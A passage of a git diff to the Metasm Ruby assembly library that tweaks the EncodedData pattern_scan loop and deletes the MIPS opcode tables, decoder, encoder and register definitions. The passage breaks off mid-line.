@export[b] if @export[b] @@ -1104,14 +1229,14 @@ class EncodedData from = b end from = @export[from] || from - raise "invalid offset #{from}" if not from.kind_of? ::Integer + raise "invalid offset #{from}" if not from.kind_of?(::Integer) from = from + @virtsize if from < 0 if not len - val = val.chr if val.kind_of? ::Integer + val = val.chr if val.kind_of?(::Integer) len = val.length end - raise "invalid slice length #{len}" if not len.kind_of? ::Integer or len < 0 + raise "invalid slice length #{len}" if not len.kind_of?(::Integer) or len < 0 if from >= @virtsize len = 0 @@ -1170,24 +1295,24 @@ class EncodedData def pattern_scan(pat, chunksz=nil, margin=nil) chunksz ||= 4*1024*1024 # scan 4MB at a time margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries - pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of? ::String + pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of?(::String) found = [] chunkoff = 0 while chunkoff < @data.length chunk = @data[chunkoff, chunksz+margin].to_str off = 0 - while match_off = (chunk[off..-1] =~ pat) - break if off+match_off >= chunksz # match fully in margin - match_addr = chunkoff + off + match_off + while match = chunk[off..-1].match(pat) + off += match.pre_match.length + m_l = match[0].length + break if off >= chunksz # match fully in margin + match_addr = chunkoff + off found << match_addr if not block_given? or yield(match_addr) - off += match_off + 1 - # XXX +1 or +lastmatch.length ? - # 'aaaabc'.pattern_scan(/a*bc/) will match 5 times here + off += m_l end chunkoff += chunksz end - found + found end end end diff --git a/lib/metasm/metasm/mips.rb b/lib/metasm/metasm/mips.rb deleted file mode 100644 index 139c6721f6..0000000000 --- a/lib/metasm/metasm/mips.rb +++ /dev/null @@ -1,11 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/mips/parse' -require 'metasm/mips/encode' -require 'metasm/mips/decode' -require 'metasm/mips/render' diff --git a/lib/metasm/metasm/mips/compile_c.rb b/lib/metasm/metasm/mips/compile_c.rb deleted file mode 100644 index 15a53ccbde..0000000000 --- a/lib/metasm/metasm/mips/compile_c.rb +++ /dev/null @@ -1,7 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/mips/parse' -require 'metasm/compile_c' diff --git a/lib/metasm/metasm/mips/decode.rb b/lib/metasm/metasm/mips/decode.rb deleted file mode 100644 index ca5de98205..0000000000 --- a/lib/metasm/metasm/mips/decode.rb +++ /dev/null @@ -1,253 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/mips/opcodes' -require 'metasm/decode' - -module Metasm -class MIPS - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = 0 - op.args.each { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] - } - op.bin_mask = 0xffffffff ^ op.bin_mask - end - - def build_bin_lookaside - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - build_opcode_bin_mask op - - b = op.bin >> 24 - msk = op.bin_mask >> 24 - - for i in b..(b | (255^msk)) - next if i & msk != b & msk - lookaside[i] << op - end - } - lookaside - end - - def decode_findopcode(edata) - return if edata.ptr >= edata.data.length - # TODO handle relocations !! - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u32, @endianness) - edata.ptr -= 4 - di if di.opcode = @bin_lookaside[val >> 24].find { |op| - (op.bin & op.bin_mask) == (val & op.bin_mask) - } - end - - def decode_instr_op(edata, di) - # TODO handle relocations !! - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - val = edata.decode_imm(:u32, @endianness) - - field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - # XXX do that cleanly (Expr.decode_imm) - case f - when :sa, :i16, :it; r = Expression.make_signed(r, 16) - when :i20; r = Expression.make_signed(r, 20) - when :i26; r = Expression.make_signed(r, 26) - else r - end - } - - op.args.each { |a| - di.instruction.args << case a - when :rs, :rt, :rd; Reg.new field_val[a] - when :sa, :i16, :i20, :i26, :it; Expression[field_val[a]] - when :rs_i16; Memref.new Reg.new(field_val[:rs]), Expression[field_val[:i16]] - when :ft; FpReg.new field_val[a] - when :idm1, :idb; Expression['unsupported'] - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - di.bin_length += edata.ptr - before_ptr - - di - end - - # converts relative branch offsets to absolute addresses - # else just add the offset +off+ of the instruction + its length (off may be an Expression) - # assumes edata.ptr points just after the instruction (as decode_instr_op left it) - # do not call twice on the same di ! - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t - delta = Expression[di.instruction.args.last, :<<, 2].reduce - if di.opcode.args.include? :i26 - arg = Expression[[[addr, :+, di.bin_length], :&, 0xfc00_0000], :+, delta].reduce - else - arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce - end - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # hash opname => lambda { |di, *sym_args| binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - def init_backtrace_binding - @backtrace_binding ||= {} - opcode_list.map { |ol| ol.name }.uniq.each { |op| - binding = case op - when 'break' - when 'bltzal', 'bgezal'; lambda { |di, *a| - # XXX $ra is set only if branch is taken... - { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] } - } - when 'nop', 'j', 'jr', /^b/; lambda { |di, *a| {} } - when 'lui'; lambda { |di, a0, a1| { a0 => Expression[a1, :<<, 16] } } - when 'add', 'addu', 'addi', 'addiu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :+, a2] } } # XXX addiu $sp, -40h should be addiu $sp, 0xffc0 from the books, but.. - when 'sub', 'subu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :-, a2] } } - when 'slt', 'slti'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } } - when 'and', 'andi'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } } - when 'or', 'ori'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } } - when 'nor'; lambda { |di, a0, a1, a2| { a0 => Expression[:~, [a1, :|, a2]] } } - when 'xor'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, a2] } } - when 'sll', 'sllv'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :>>, a2] } } - when 'srl', 'srlv', 'sra', 'srav'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<<, a2] } } # XXX sign-extend - when 'lw'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'sw'; lambda { |di, a0, a1| { a1 => Expression[a0] } } - when 'lh', 'lhu'; lambda { |di, a0, a1| { a0 => Expression[a1] } } # XXX sign-extend - when 'sh'; lambda { |di, a0, a1| { a1 => Expression[a0] } } - when 'lb', 'lbu'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'sb'; lambda { |di, a0, a1| { a1 => Expression[a0] } } - when /^slti?u?/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } } # XXX signedness - when 'mfhi'; lambda { |di, a0| { a0 => Expression[:hi] } } - when 'mflo'; lambda { |di, a0| { a0 => Expression[:lo] } } - when 'mult'; lambda { |di, a0, a1| { :hi => Expression[[a0, :*, a1], :>>, 32], :lo => Expression[[a0, :*, a1], :&, 0xffff_ffff] } } - when 'div'; lambda { |di, a0, a1| { :hi => Expression[a0, :%, a1], :lo => Expression[a0, :/, a1] } } - when 'jal', 'jalr'; lambda { |di, a0| { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] } } - when 'li', 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'syscall'; lambda { |di, *a| { :$v0 => Expression::Unknown } } - end - - @backtrace_binding[op] ||= binding if binding - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Memref; arg.symbolic(di.address) - when Reg; arg.symbolic - else arg - end - } - - binding = if binding = backtrace_binding[di.instruction.opname] - binding[di, *a] - else - if di.instruction.opname[0] == ?b and di.opcode.props[:setip] - else - puts "unknown instruction to emu #{di}" if $VERBOSE - end - {} - end - - binding.delete 0 # allow add $zero, 42 => nop - - binding - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - arg = di.instruction.args.last - [Expression[ - case arg - when Memref; Indirection[[arg.base.to_s.to_sym, :+, arg.offset], @size/8, di.address] - when Reg; arg.to_s.to_sym - else arg - end]] - end - - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - retaddrlist.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } if retaddrlist - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - bt = [] - b[r] = Expression::Unknown # break recursive dep - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, - :include_start => true, :snapshot_addr => faddr, :origin => retaddr) - } - b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) - } - wantregs = Reg.i_to_s.values if wantregs.empty? - wantregs.map { |r| r.to_sym }.each(&bt_val) - - puts "update_func_bind: #{Expression[faddr]} has sp -> #{b[:$sp]}" if not Expression[b[:$sp], :-, :$sp].reduce.kind_of?(::Integer) if $VERBOSE - end - - def backtrace_is_function_return(expr, di=nil) - expr.reduce_rec == :$ra - end - - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include? :$sp - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset - a - else a - end - } - end - - # make the target of the call know the value of $t9 (specified by the ABI) - # XXX hackish - def backtrace_found_result(dasm, di, expr, type, len) - if di.opcode.name == 'jalr' and di.instruction.args == [:$t9] - expr = dasm.normalize(expr) - (dasm.address_binding[expr] ||= {})[:$t9] ||= expr - end - end - - def delay_slot(di=nil) - # branch.*likely has no delay slot - # bltzal/bgezal are 'link', not 'likely', hence the check for -2 - (di and di.opcode.props[:setip] and (di.opcode.name[-1] != ?l or di.opcode.name[-2] == ?a)) ? 1 : 0 - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = %w[v0 v1 a0 a1 a2 a3 t0 t1 t2 t3 t4 t5 t6 t7 t8 t9 at k0 k1].inject({}) { |h, r| h.update "$#{r}".to_sym => Expression::Unknown } - df.backtrace_binding.update %w[gp sp fp ra s0 s1 s2 s3 s4 s5 s6 s7].inject({}) { |h, r| h.update "$#{r}".to_sym => "$#{r}".to_sym } - df.backtracked_for = [BacktraceTrace.new(Expression[:$ra], :default, Expression[:$ra], :x)] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] and di.instruction.to_s != 'jr $ra' - btfor - else [] - end - } - df - end -end -end diff --git a/lib/metasm/metasm/mips/encode.rb b/lib/metasm/metasm/mips/encode.rb deleted file mode 100644 index 7025bc5cb8..0000000000 --- a/lib/metasm/metasm/mips/encode.rb +++ /dev/null @@ -1,51 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/mips/opcodes' -require 'metasm/encode' - -module Metasm -class MIPS - private - def encode_instr_op(exe, instr, op) - base = op.bin - set_field = lambda { |f, v| - base |= (v & @fields_mask[f]) << @fields_shift[f] - } - - val, mask, shift = 0, 0, 0 - - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0] != ?t and instr.args.last.kind_of? Expression - postlabel = exe.new_label('jmp_offset') - instr = instr.dup - if op.args.include? :i26 - pl = Expression[postlabel, :&, 0xfc00_0000] - else - pl = postlabel - end - instr.args[-1] = Expression[[instr.args[-1], :-, pl], :>>, 2] - postdata = EncodedData.new '', :export => {postlabel => 0} - else - postdata = '' - end - - op.args.zip(instr.args).each { |sym, arg| - case sym - when :rs, :rt, :rd, :ft - set_field[sym, arg.i] - when :rs_i16 - set_field[:rs, arg.base.i] - val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] - when :sa, :i16, :i20, :i26 - val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] - end - } - - Expression[base, :+, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata - end -end -end diff --git a/lib/metasm/metasm/mips/main.rb b/lib/metasm/metasm/mips/main.rb deleted file mode 100644 index 1f04ed8d4a..0000000000 --- a/lib/metasm/metasm/mips/main.rb +++ /dev/null @@ -1,72 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class MIPS < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @s_to_i = {} - @i_to_s = {} - (0..31).each { |i| @s_to_i["r#{i}"] = @s_to_i["$r#{i}"] = @s_to_i["$#{i}"] = i } - %w[zero at v0 v1 a0 a1 a2 a3 - t0 t1 t2 t3 t4 t5 t6 t7 - s0 s1 s2 s3 s4 s5 s6 s7 - t8 t9 k0 k1 gp sp fp ra].each_with_index { |r, i| @s_to_i[r] = @s_to_i['$'+r] = i ; @i_to_s[i] = '$'+r } - - attr_accessor :i - def initialize(i) - @i = i - end - - Sym = @i_to_s.sort.map { |k, v| v.to_sym } - def symbolic ; @i == 0 ? 0 : Sym[@i] end - end - - class FpReg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = (0..31).map { |i| "$f#{i}" } - @s_to_i = (0..31).inject({}) { |h, i| h.update "f#{i}" => i, "$f#{i}" => i } - - attr_accessor :i - def initialize(i) - @i = i - end - end - - class Memref - attr_accessor :base, :offset - def initialize(base, offset) - @base, @offset = base, offset - end - - def symbolic(orig) - p = nil - p = Expression[p, :+, @base.symbolic] if base - p = Expression[p, :+, @offset] if offset - Indirection[p.reduce, 4, orig] - end - end - - def initialize(endianness = :big, family = :latest) - super() - @endianness = endianness - @size = 32 - @family = family - end - - def init_opcode_list - send("init_#@family") - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/mips/opcodes.rb b/lib/metasm/metasm/mips/opcodes.rb deleted file mode 100644 index 4b0015ea7f..0000000000 --- a/lib/metasm/metasm/mips/opcodes.rb +++ /dev/null @@ -1,443 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/mips/main' - -# TODO coprocessors, floating point, 64bits, thumb mode - -module Metasm - -class MIPS - def addop(name, bin, *args) - o = Opcode.new name, bin - o.args.concat(args & @fields_mask.keys) - (args & @valid_props).each { |p| o.props[p] = true } - @opcode_list << o - end - - def init_mips32_obsolete - addop 'beql', 0b010100 << 26, :rt, :rs, :i16, :setip # == , exec delay slot only if jump taken - addop 'bnel', 0b010101 << 26, :rt, :rs, :i16, :setip # != - addop 'blezl',0b010110 << 26, :rt_z, :rs, :i16, :setip # <= 0 - addop 'bgtzl',0b010111 << 26, :rt_z, :rs, :i16, :setip # > 0 - addop 'bltzl',1 << 26 | 0b00010 << 16, :rs, :i16, :setip - addop 'bgezl',1 << 26 | 0b00011 << 16, :rs, :i16, :setip - addop 'bltzall', 1 << 26 | 0b10010 << 16, :rs, :i16, :setip - addop 'bgezall', 1 << 26 | 0b10011 << 16, :rs, :i16, :setip - end - - def init_mips32_reserved - addop 'future111011', 0b111011 << 26, :i26 - - %w[011000 011001 011010 011011 100111 101100 101101 110100 110111 111100 111111].each { |b| - addop "reserved#{b}", b.to_i(2) << 26, :i26 - } - - addop 'ase_jalx', 0b011101 << 26, :i26 - addop 'ase011110', 0b011110 << 26, :i26 - # TODO add all special/regimm/... - end - - def init_mips32 - @opcode_list = [] - @fields_mask.update :rs => 0x1f, :rt => 0x1f, :rd => 0x1f, :sa => 0x1f, - :i16 => 0xffff, :i26 => 0x3ffffff, :rs_i16 => 0x3e0ffff, :it => 0x1f, - :ft => 0x1f, :idm1 => 0x1f, :idb => 0x1f, :sel => 7, :i20 => 0xfffff #, :i32 => 0 - @fields_shift.update :rs => 21, :rt => 16, :rd => 11, :sa => 6, - :i16 => 0, :i26 => 0, :rs_i16 => 0, :it => 16, - :ft => 16, :idm1 => 11, :idb => 11, :sel => 0, :i20 => 6 #, :i32 => 0 - - init_mips32_obsolete - init_mips32_reserved - - addop 'j', 0b000010 << 26, :i26, :setip, :stopexec # sets the program counter to (i26 << 2) | ((pc+4) & 0xfc000000) ie i26*4 in the 256M-aligned section containing the instruction in the delay slot - addop 'jal', 0b000011 << 26, :i26, :setip, :stopexec, :saveip # same thing, saves return addr in r31 - - addop 'mov', 0b001000 << 26, :rt, :rs # rt <- rs+0 - addop 'addi', 0b001000 << 26, :rt, :rs, :i16 # add rt <- rs+i - addop 'li', 0b001001 << 26, :rt, :i16 # add $0 # XXX liu ? - addop 'addiu',0b001001 << 26, :rt, :rs, :i16 # add unsigned - addop 'slti', 0b001010 << 26, :rt, :rs, :i16 # set on less than - addop 'sltiu',0b001011 << 26, :rt, :rs, :i16 # set on less than unsigned - addop 'andi', 0b001100 << 26, :rt, :rs, :i16 # and - addop 'li', 0b001101 << 26, :rt, :i16 # or $0 - addop 'ori', 0b001101 << 26, :rt, :rs, :i16 # or - addop 'xori', 0b001110 << 26, :rt, :rs, :i16 # xor - addop 'lui', 0b001111 << 26, :rt, :i16 # load upper -# addop 'li', (0b001111 << 26) << 32 | (0b001101 << 26), :rt_64, :i32 # lui + ori - - addop 'b', 0b000100 << 26, :i16, :setip, :stopexec # bz $zero - addop 'bz', 0b000100 << 26, :rs, :i16, :setip # == 0 (beq $0) - addop 'bz', 0b000100 << 26, :rt, :i16, :setip # == 0 - addop 'bnz', 0b000101 << 26, :rs, :i16, :setip # != 0 - addop 'bnz', 0b000101 << 26, :rt, :i16, :setip # != 0 - - addop 'beq', 0b000100 << 26, :rt, :rs, :i16, :setip # == - addop 'bne', 0b000101 << 26, :rt, :rs, :i16, :setip # != - addop 'blez', 0b000110 << 26, :rs, :i16, :setip # <= 0 - addop 'bgtz', 0b000111 << 26, :rs, :i16, :setip # > 0 - - addop 'lb', 0b100000 << 26, :rt, :rs_i16 # load byte rs <- [rt+i] - addop 'lh', 0b100001 << 26, :rt, :rs_i16 # load halfword - addop 'lwl', 0b100010 << 26, :rt, :rs_i16 # load word left - addop 'lw', 0b100011 << 26, :rt, :rs_i16 # load word - addop 'lbu', 0b100100 << 26, :rt, :rs_i16 # load byte unsigned - addop 'lhu', 0b100101 << 26, :rt, :rs_i16 # load halfword unsigned - addop 'lwr', 0b100110 << 26, :rt, :rs_i16 # load word right - - addop 'sb', 0b101000 << 26, :rt, :rs_i16 # store byte - addop 'sh', 0b101001 << 26, :rt, :rs_i16 # store halfword - addop 'swl', 0b101010 << 26, :rt, :rs_i16 # store word left - addop 'sw', 0b101011 << 26, :rt, :rs_i16 # store word - addop 'swr', 0b101110 << 26, :rt, :rs_i16 # store word right - - addop 'll', 0b110000 << 26, :rt, :rs_i16 # load linked word (read for atomic r/modify/w, sc does the w) - addop 'sc', 0b111000 << 26, :rt, :rs_i16 # store conditional word - - addop 'lwc1', 0b110001 << 26, :ft, :rs_i16 # load word in fpreg low - addop 'swc1', 0b111001 << 26, :ft, :rs_i16 # store low fpreg word - addop 'lwc2', 0b110010 << 26, :rt, :rs_i16 # load word to copro2 register low - addop 'swc2', 0b111010 << 26, :rt, :rs_i16 # store low coproc2 register - - addop 'ldc1', 0b110101 << 26, :ft, :rs_i16 # load dword in fpreg low - addop 'sdc1', 0b111101 << 26, :ft, :rs_i16 # store fpreg - addop 'ldc2', 0b110110 << 26, :rt, :rs_i16 # load dword to copro2 register - addop 'sdc2', 0b111110 << 26, :rt, :rs_i16 # store coproc2 register - - addop 'pref', 0b110011 << 26, :it, :rs_i16 # prefetch (it = %w[load store r2 r3 load_streamed store_streamed load_retained store_retained - # r8 r9 r10 r11 r12 r13 r14 r15 r16 r17 r18 r19 r20 r21 r22 r23 r24 writeback_invalidate - # id26 id27 id28 id29 prepare_for_store id31] - addop 'cache',0b101111 << 26, :it, :rs_i16 # do things with the proc cache - - # special - addop 'nop', 0 - addop 'ssnop',1<<6 - addop 'ehb', 3<<6 - addop 'sll', 0b000000, :rd, :rt, :sa - addop 'movf', 0b000001, :rd, :rs, :cc - addop 'movt', 0b000001 | (1<<16), :rd, :rs, :cc - addop 'srl', 0b000010, :rd, :rt, :sa - addop 'sra', 0b000011, :rd, :rt, :sa - addop 'sllv', 0b000100, :rd, :rt, :rs - addop 'srlv', 0b000110, :rd, :rt, :rs - addop 'srav', 0b000111, :rd, :rt, :rs - - addop 'jr', 0b001000, :rs, :setip, :stopexec # hint field ? - addop 'jr.hb',0b001000 | (1<<10), :rs, :setip, :stopexec - addop 'jalr', 0b001001 | (31<<11), :rs, :setip, :stopexec, :saveip # rd = r31 implicit - addop 'jalr', 0b001001, :rd, :rs, :setip, :stopexec, :saveip - addop 'jalr.hb', 0b001001 | (1<<10) | (31<<11), :rs, :setip, :stopexec, :saveip - addop 'jalr.hb', 0b001001 | (1<<10), :rd, :rs, :setip, :stopexec, :saveip - addop 'movz', 0b001010, :rd, :rs, :rt # rt == 0 ? rd <- rs - addop 'movn', 0b001011, :rd, :rs, :rt - addop 'syscall', 0b001100, :i20 - addop 'break',0b001101, :i20, :stopexec - addop 'sync', 0b001111 # type 0 implicit - addop 'sync', 0b001111, :sa - - addop 'mfhi', 0b010000, :rd # copies special reg HI to reg - addop 'mthi', 0b010001, :rs # copies reg to special reg HI - addop 'mflo', 0b010010, :rd # copies special reg LO to reg - addop 'mtlo', 0b010011, :rs # copies reg to special reg LO - - addop 'mult', 0b011000, :rs, :rt # multiplies the registers and store the result in HI:LO - addop 'multu',0b011001, :rs, :rt - addop 'div', 0b011010, :rs, :rt - addop 'divu', 0b011011, :rs, :rt - addop 'add', 0b100000, :rd, :rs, :rt - addop 'addu', 0b100001, :rd, :rs, :rt - addop 'sub', 0b100010, :rd, :rs, :rt - addop 'subu', 0b100011, :rd, :rs, :rt - addop 'and', 0b100100, :rd, :rs, :rt - addop 'or', 0b100101, :rd, :rs, :rt - addop 'xor', 0b100110, :rd, :rs, :rt - addop 'not', 0b100111, :rd, :rt # nor $0 - addop 'not', 0b100111, :rd, :rs - addop 'nor', 0b100111, :rd, :rs, :rt - - addop 'slt', 0b101010, :rd, :rs, :rt # rs= rt ? trap - addop 'tgeu', 0b110001, :rs, :rt - addop 'tlt', 0b110010, :rs, :rt - addop 'tltu', 0b110011, :rs, :rt - addop 'teq', 0b110100, :rs, :rt - addop 'tne', 0b110110, :rs, :rt - - - # regimm - addop 'bltz', (1<<26) | (0b00000<<16), :rs, :i16, :setip - addop 'bgez', (1<<26) | (0b00001<<16), :rs, :i16, :setip - addop 'tgei', (1<<26) | (0b01000<<16), :rs, :i16, :setip - addop 'tgfiu',(1<<26) | (0b01001<<16), :rs, :i16, :setip - addop 'tlti', (1<<26) | (0b01010<<16), :rs, :i16, :setip - addop 'tltiu',(1<<26) | (0b01011<<16), :rs, :i16, :setip - addop 'teqi', (1<<26) | (0b01100<<16), :rs, :i16, :setip - addop 'tnei', (1<<26) | (0b01110<<16), :rs, :i16, :setip - addop 'bltzal', (1<<26) | (0b10000<<16), :rs, :i16, :setip, :saveip - addop 'bgezal', (1<<26) | (0b10001<<16), :i16, :setip, :stopexec, :saveip # bgezal $zero => unconditionnal - addop 'bgezal', (1<<26) | (0b10001<<16), :rs, :i16, :setip, :saveip - - - # special2 - addop 'madd', (0b011100<<26) | 0b000000, :rs, :rt - addop 'maddu',(0b011100<<26) | 0b000001, :rs, :rt - addop 'mul', (0b011100<<26) | 0b000010, :rd, :rs, :rt - addop 'msub', (0b011100<<26) | 0b000100, :rs, :rt - addop 'msubu',(0b011100<<26) | 0b000101, :rs, :rt - addop 'clz', (0b011100<<26) | 0b100000, :rd, :rs, :rt # must have rs == rt - addop 'clo', (0b011100<<26) | 0b100001, :rd, :rs, :rt # must have rs == rt - addop 'sdbbp',(0b011100<<26) | 0b111111, :i20 - - - # cp0 - addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :rd - addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :rd, :sel - addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :rd - addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :rd, :sel - - addop 'tlbr', (0b010000<<26) | (1<<25) | 0b000001 - addop 'tlbwi',(0b010000<<26) | (1<<25) | 0b000010 - addop 'tlbwr',(0b010000<<26) | (1<<25) | 0b000110 - addop 'tlbp', (0b010000<<26) | (1<<25) | 0b001000 - addop 'eret', (0b010000<<26) | (1<<25) | 0b011000 - addop 'deret',(0b010000<<26) | (1<<25) | 0b011111 - addop 'wait', (0b010000<<26) | (1<<25) | 0b100000 # mode field ? - end - - def init_mips32r2 - init_mips32 - - addop 'rotr', 0b000010 | (1<<21), :rd, :rt, :sa - addop 'rotrv',0b000110 | (1<<6), :rd, :rt, :rs - - addop 'synci',(1<<26) | (0b11111<<16), :rs_i16 - - # special3 - addop 'ext', (0b011111<<26) | 0b000000, :rt, :rs, :sa, :idm1 - addop 'ins', (0b011111<<26) | 0b000100, :rt, :rs, :sa, :idb - addop 'rdhwr',(0b011111<<26)| 0b111011, :rt, :rd - addop 'wsbh',(0b011111<<26) | (0b00010<<6) | 0b100000, :rd, :rt - addop 'seb', (0b011111<<26) | (0b10000<<6) | 0b100000, :rd, :rt - addop 'seh', (0b011111<<26) | (0b11000<<6) | 0b100000, :rd, :rt - - # cp0 - addop 'rdpgpr', (0b010000<<26) | (0b01010<<21), :rd, :rt - addop 'wrpgpr', (0b010000<<26) | (0b01110<<21), :rd, :rt - addop 'di', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (0<<5) - addop 'di', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (0<<5), :rt - addop 'ei', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (1<<5) - addop 'ei', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (1<<5), :rt - end - alias init_latest init_mips32r2 -end -end -__END__ - def macro_addop_cop1(name, bin, *aprops) - flds = [ :rt, :fs ] - addop name, :cop1, bin, 'rt, fs', flds, *aprops - end - - def macro_addop_cop1_precision(name, type, bin, fmt, *aprops) - flds = [ :ft, :fs, :fd ] - addop name+'.'+(type.to_s[5,7]), type, bin, fmt, flds, *aprops - end - - - public - # Initialize the instruction set with the MIPS32 Instruction Set - def init_mips32 - :cc => [7, 18, :fpcc], - :op => [0x1F, 16, :op ], :cp2_rt => [0x1F, 16, :cp2_reg ], - :stype => [0x1F, 6, :imm ], - :code => [0xFFFFF, 6, :code ], - :sel => [3, 0, :sel ]}) - - # --------------------------------------------------------------- - # COP0, field rs - # --------------------------------------------------------------- - - addop 'mfc0', :cop0, 0b00000, 'rt, rd, sel', [ :rt, :rd, :sel ] - addop 'mtc0', :cop0, 0b00100, 'rt, rd, sel', [ :rt, :rd, :sel ] - - # --------------------------------------------------------------- - # COP0 when rs=C0 - # --------------------------------------------------------------- - - macro_addop_cop0_c0 'tlbr', 0b000001 - macro_addop_cop0_c0 'tlbwi', 0b000010 - macro_addop_cop0_c0 'tlwr', 0b000110 - macro_addop_cop0_c0 'tlbp', 0b001000 - macro_addop_cop0_c0 'eret', 0b011000 - macro_addop_cop0_c0 'deret', 0b011111 - macro_addop_cop0_c0 'wait', 0b100000 - - # --------------------------------------------------------------- - # COP1, field rs - # --------------------------------------------------------------- - - macro_addop_cop1 'mfc1', 0b00000 - macro_addop_cop1 'cfc1', 0b00010 - macro_addop_cop1 'mtc1', 0b00100 - macro_addop_cop1 'ctc1', 0b00110 - - addop "bc1f", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 0 ] - addop "bc1fl", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 2 ] - addop "bc1t", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 1 ] - addop "bc1tl", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 3 ] - - # --------------------------------------------------------------- - # COP1, field rs=S/D - # --------------------------------------------------------------- - - [ :cop1_s, :cop1_d ].each do |type| - type_str = type.to_s[5,7] - - macro_addop_cop1_precision 'add', type, 0b000000, 'fd, fs, ft' - macro_addop_cop1_precision 'sub', type, 0b000001, 'fd, fs, ft' - macro_addop_cop1_precision 'mul', type, 0b000010, 'fd, fs, ft' - macro_addop_cop1_precision 'abs', type, 0b000101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'mov', type, 0b000110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'neg', type, 0b000111, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'movz', type, 0b010010, 'fd, fs, ft' - macro_addop_cop1_precision 'movn', type, 0b010011, 'fd, fs, ft' - - addop "movf.#{type_str}", type, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ], :diff_bits, [ 16, 1, 0 ] - addop "movt.#{type_str}", type, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ], 